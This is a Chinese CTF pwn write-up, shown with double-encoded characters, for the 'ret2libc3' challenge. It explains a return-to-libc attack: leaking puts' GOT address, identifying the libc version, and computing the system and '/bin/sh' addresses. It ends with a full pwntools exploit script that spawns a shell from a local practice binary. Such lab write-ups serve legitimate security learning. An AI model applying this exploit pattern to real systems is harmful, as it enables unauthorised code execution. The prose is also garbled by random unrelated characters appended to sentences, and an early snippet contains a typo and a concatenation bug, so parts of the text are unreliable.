時(shí)隔好久了,終于又記起來(lái)我在學(xué)pwn了......
日常check保護(hù)發(fā)現(xiàn)只開(kāi)了NX耗帕,然后進(jìn)ida里
發(fā)現(xiàn)沒(méi)有我們要的system函數(shù)了穆端。既然這里沒(méi)有system函數(shù),那我們就要找到對(duì)應(yīng)的.so庫(kù)獲取庫(kù)里面對(duì)應(yīng)的system函數(shù)的地址和/bin/sh的地址仿便。
第一步就是要通過(guò)知道libc中的一個(gè)函數(shù)地址体啰,然后明確之間的地址偏移來(lái)確定libc。
所以我們就找程序調(diào)用過(guò)的函數(shù)嗽仪,選puts吧荒勇。
我們可以通過(guò)ELF操作來(lái)獲得plt表和got表上puts的地址,然后再回到程序最開(kāi)始的地方準(zhǔn)備執(zhí)行接下來(lái)的操作闻坚。
我們發(fā)現(xiàn)_start函數(shù)是會(huì)調(diào)用到__libc_start_main函數(shù)的沽翔,而system和/bin/sh都在它里面,所以我們讓第一步泄露了libc之后返回到_start函數(shù)。
然后爆個(gè)偏移
第一段泄露libc的代碼如下
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_plt = elf.sybols['_start']#__libc_start_main
payload = flat(["a"*112+puts_plt+main_plt+puts_got])#最后得到的是got表里puts的真實(shí)地址
sh.sendlineafter('!?',payload)
puts_addr = u32(sh.recv()[0:4])#將得到的地址解包
print('puts_addr:'+hex(puts_addr))#數(shù)據(jù)轉(zhuǎn)成十六進(jìn)制輸出
得到地址之后就可以通過(guò)手動(dòng)搜索或者函數(shù)搜索出所用的libc仅偎。
obj = LibcSearcher('puts',puts_addr)
libc = puts_addr - obj.dump('puts')
system = obj.dump('system')+libc
binsh = obj.dump('str_bin_sh')+libc
payload1 = flat(["a"*112,system,'aaaa',binsh])
也可以按照上一part得到的地址后三位去找libc跨蟹,這里的最后三位是ca0,去libc database那個(gè)網(wǎng)站找一下橘沥,結(jié)果如圖(其實(shí)對(duì)比了兩個(gè)窗轩,地址是一樣的,但是不知道為什么會(huì)有兩個(gè))
用已知libc來(lái)寫(xiě)下半部分腳本座咆,如下
libc=ELF("libc6_2.23-0ubuntu10_i386.so")
libc_puts=libc.symbols['puts']
libc_system=libc.symbols['system']
libc_binsh=next(libc.search("/bin/sh"))
#計(jì)算system品姓,/bin/sh的實(shí)際加載地址
system_addr=puts_addr+(libc_system-libc_puts)
binsh_addr=puts_addr+(libc_binsh-libc_puts)
#第二次運(yùn)行獲取shell
payload=flat(["A"*112,system_addr,’aaaa’,binsh_addr])
我就選擇用第一種寫(xiě)一個(gè)完整的exp吧
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_plt = elf.symbols['_start']#__libc_start_main
payload = flat(["a"*112,puts_plt,main_plt,puts_got])
sh.sendlineafter('!?',payload)
puts_addr = u32(sh.recv()[0:4])
print("puts_addr:"+hex(puts_addr))
obj = LibcSearcher('puts',puts_addr)
libc = puts_addr - obj.dump('puts')
system = obj.dump('system')+libc
binsh = obj.dump('str_bin_sh')+libc
payload1 = flat(["a"*112,system,'aaaa',binsh])
sh.sendline(payload1)
sh.interactive()
然后運(yùn)行一下,發(fā)現(xiàn)沒(méi)有問(wèn)題啦箫措,就大功告成啦